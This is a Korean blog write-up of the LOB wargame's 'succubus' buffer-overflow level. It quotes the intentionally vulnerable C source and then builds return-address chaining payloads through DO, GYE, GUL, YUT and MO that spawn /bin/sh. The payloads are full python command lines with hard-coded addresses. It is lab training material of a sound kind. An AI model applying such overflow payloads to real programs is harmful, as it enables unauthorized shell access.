반응형
zombie_assassin -> succubus 로 접속합니다.
(소스코드가 길어서 캡처 말고 복붙 했습니다.)
/*
The Lord of the BOF : The Fellowship of the BOF
- succubus
- calling functions continuously
*/
#include <stdio.h>
#include <stdlib.h>
#include <dumpcode.h>
// the inspector
int check = 0;
void MO(char *cmd)
{
if(check != 4)
exit(0);
printf("welcome to the MO!\n");
// olleh!
system(cmd);
}
void YUT(void)
{
if(check != 3)
exit(0);
printf("welcome to the YUT!\n");
check = 4;
}
void GUL(void)
{
if(check != 2)
exit(0);
printf("welcome to the GUL!\n");
check = 3;
}
void GYE(void)
{
if(check != 1)
exit(0);
printf("welcome to the GYE!\n");
check = 2;
}
void DO(void)
{
printf("welcome to the DO!\n");
check = 1;
}
main(int argc, char *argv[])
{
char buffer[40];
char *addr;
if(argc < 2){
printf("argv error\n");
exit(0);
}
// you cannot use library
if(strchr(argv[1], '\x40')){
printf("You cannot use library\n");
exit(0);
}
// check address
addr = (char *)&DO;
if(memcmp(argv[1]+44, &addr, 4) != 0){
printf("You must fall in love with DO\n");
exit(0);
}
// overflow!
strcpy(buffer, argv[1]);
printf("%s\n", buffer);
// stack destroyer
// 100 : extra space for copied argv[1]
memset(buffer, 0, 44);
memset(buffer+48+100, 0, 0xbfffffff - (int)(buffer+48+100));
// LD_* eraser
// 40 : extra space for memset function
memset(buffer-3000, 0, 3000-40);
}
library X
stack destroyer
흠 코드상 보면
MO의 system을 호출시켜야 겠네요
그러기 위해서는 함수를 연속해서 호출해야하네요
DO GYE GUL YUT MO 순서대로 호출
우선 함수들의 주소를 확인합시다.
080487ec T DO
0804878c T GUL
080487bc T GYE
08048724 T MO
0804875c T YUT
이렇게 되는군요.
그럼 ret에다 함수의 주소를 넣어주면 되겠네요.
여기서!!
ret로 호출된 함수는 그 함수의 ret가 생성되지 않습니다.
ret로 호출된 함수는 그 함수의 ret가 생성되지 않기 때문에 바로 다음함수인 GYE의 주소를 덮어씁니다.
우선 각각 호출해보면
MO의 system()이 자동으로 실행되네요.
그럼 system의 인자만 넣어주면 됩니다.
그런데 여기서 라이브러리를 사용하지 못하네요
그렇다면 직접 bin/sh를 넣어주고 주소를 불러오면 되겠네요
페이로드는 이렇게 됩니다.
system함수 호출 4바이트 &binsh binsh
우선 코어 파일을 확인하기 위해
파일을 복사한 후,
./succubus1 `python -c 'print "A"*44+"\xec\x87\x04\x08"+"\xbc\x87\x04\x08"+"\x8c\x87\x04\x08"+"\x5c\x87\x04\x08"+"\x24\x87\x04\x08"+"AAAA"+"B"*4+"/bin/sh”'`
/bin/sh 의 주소를 아무거나 넣어준 후, 코어파일을 뒤져서 /bin/sh 의 주소를 찾아줍시다.
바로 찾았습니다.
그럼 0xbffffa68로 bin/sh 주소를 입력하면 됩니다.
./succubus1 `python -c 'print "A"*44+"\xec\x87\x04\x08"+"\xbc\x87\x04\x08"+"\x8c\x87\x04\x08"+"\x5c\x87\x04\x08"+"\x24\x87\x04\x08"+"AAAA"+"\x68\xfa\xff\xbf"+"/bin/sh"'`
반응형
'Security > Pwnable' 카테고리의 다른 글
LOB Level 19 nightmare (0) | 2021.08.10 |
---|---|
LOB Level 18 succubus (0) | 2021.08.10 |
LOB Level 16 assassin (0) | 2021.08.10 |
LOB Level 15 giant (0) | 2021.08.10 |
LOB Level 14 bugbear (0) | 2021.08.10 |